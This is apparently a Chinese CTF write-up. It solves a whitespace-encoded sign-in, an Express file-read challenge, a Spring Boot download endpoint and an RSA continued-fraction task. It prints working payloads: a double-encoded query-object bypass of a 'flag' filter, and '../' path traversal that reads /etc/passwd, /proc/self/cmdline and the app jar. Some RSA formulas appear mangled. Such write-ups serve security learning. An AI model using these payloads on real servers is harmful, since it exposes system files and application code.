# 签到
下载好文件打开后是一大堆空格,把第一行当成字符 'f',空格数目加减当成 ascii 码加减,在第一行基础上得到后续字符:
flag
# express fs
题目描述:获取 flag
进入题目是个精美的界面
# Welcome to MeiYa Pico CTF !
点击 start exploring, 进入一个空白界面,但是发现导航栏已经变了:
http://8.130.116.26:12180/?file=check.html
题目是 express web 框架,那就深入 node 的 fs 中去探索。
发送 get 请求查询 ?file=/etc/passwd
可以访问任意文件,但 waf 禁掉了 flag
字符串。
那就利用 Express 对查询参数的处理来构造一个精心设计的对象来绕过
payload:
/?file[href]=b&file[origin]=8&file[protocol]=file:&file[hostname]=&file[pathname]=fl%2561g.txt
# 综合题 5
题目描述:小明用 spring boot 做了一个 java 文件的上传功能 demo,放到了 /app/ 下。(注:综合题 6、7 均为此题环境)
打开后是一个文件上传界面,上传一个文件后,再尝试 view,发现把刚才上传的文件重新下载了回来。
检查网页源代码发现:
window.location.href = '/readfile?filename=' + data.filename;
访问 /readfile?filename=/etc/passwd
没反应,可能是受限于当前目录的原因,那就用目录穿越试试
/readfile?filename=../../../../../../etc/passwd
发现下载成功,想到题目提到 /app/ 下面的文件,使用 /readfile?filename=../../../../../../proc/self/cmdline,
下载到
java -jar /app/demo.jar --spring.config.location=/usr/local/share/application.properties
下载 /app/demo.jar 文件:
/readfile?filename=../../../../../../app/demo.jar
打开 Upload.class 文件后发现这两个变量:
private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="; | |
public String O0O = "6925cc02789c1d2552b71acc4a2d48fd"; |
如果不出意外 flag 就在这里,
下面有个加密函数:
public String o0o(String Ooo) { | |
StringBuilder oOo = new StringBuilder(); | |
int o0O = 0; | |
for(int OO0 = Ooo.length(); o0O < OO0; ++o0O) { | |
char Oo0 = Ooo.charAt(o0O); | |
char oOO = this.O0O.charAt(o0O % this.O0O.length()); | |
char OOo = (char)(Oo0 ^ oOO); | |
oOo.append(OOo); | |
} | |
return Base64.getEncoder().encodeToString(oOo.toString().getBytes()); | |
} |
具体来说,这个方法做了以下工作:
- 创建一个名为
oOo
的StringBuilder
,用于构建加密后的字符串。 - 使用
for
循环遍历输入字符串Ooo
中的每个字符。 - 对于每个字符
Oo0
,它会取出一个密钥字符oOO
,该密钥字符是通过使用this.O0O
字段中的字符(按顺序循环)获得的。 - 使用按位异或运算符
^
对输入字符Oo0
和密钥字符oOO
进行异或操作,以加密字符。 - 加密后的字符
OOo
被追加到oOo
中。 - 最后,将
oOo
中的字符转换为字节数组,然后使用 Base64 编码器将字节数组编码为字符串,并返回这个编码后的字符串。
不出意外我们输入的值就是 flag,写个脚本来计算下输入的值:
import base64 | |
encrypted_string = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==" | |
key = "6925cc02789c1d2552b71acc4a2d48fd" | |
# Base64 解码 | |
decoded_bytes = base64.b64decode(encrypted_string) | |
# 进行解密 | |
original_string = "" | |
for i in range(len(decoded_bytes)): | |
original_char = chr(decoded_bytes[i] ^ ord(key[i % len(key)])) | |
original_string += original_char | |
print("解密后的原始字符串:", original_string) |
得到 flag:
解密后的原始字符串: flag
# 这也是 RSA 密码算法吗?
先解压 crypto01.7z,得到摩斯电码,翻译后为 MORSE_CODE_FUNNY,结合文件名将其转换为小写,成功打开压缩包。
解压出 RSA 的 python 加密文件,发现已知 num1/num2,推测使用连分数攻击,使用 sagemath 脚本解出 num1 和 num2:
#sage exp
data3=1.23389923415003373900567515471436168841941584796842188964423737295914869304653496800649965063081353720701415762591488370228399019899893688681309320356016722276295236528757306976510687729729934668311830828756908988350841843676900575414367123810470585198055372776278588638204471298838884740198056387082949710435502826460830711429956
c = continued_fraction(data3)
print(c)
alist = c.convergents()
print(alist)
for i in alist:
a = str(i).split('/')
if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==128 and int(a[1]).bit_length()==128:
print(a)
#['11167377337790397338811417806698264734026040696284907854286100186126887838302430726803014418419121360514985339992064951270502853852777225947659429837569693','9050477566333038464101590216458863799039754468566791821195736389139213194857548339787600682491327798736538059818887575696704421576721592454156775006222517']
已知 leak 可以通过 RSA 算法求出 p-q:
n1=11167377337790397338811417806698264734026040696284907854286100186126887838302430726803014418419121360514985339992064951270502853852777225947659429837569693
n2=9050477566333038464101590216458863799039754468566791821195736389139213194857548339787600682491327798736538059818887575696704421576721592454156775006222517
phi_n = (n1 - 1) * (n2 - 1)
d = gmpy2.invert(n1,phi_n)
print(pow(leak,d,n1*n2))
现在已知 p-q 和 p*q,联立生成一元二次方程,直接求解出 p,q:
delta,s = gmpy2.iroot(aa + 4b , 2)
p = (-1 *a + delta)/2
q = (-1*a - delta)/2
之后使用 RSA 解出 pt,减去 num2 即可。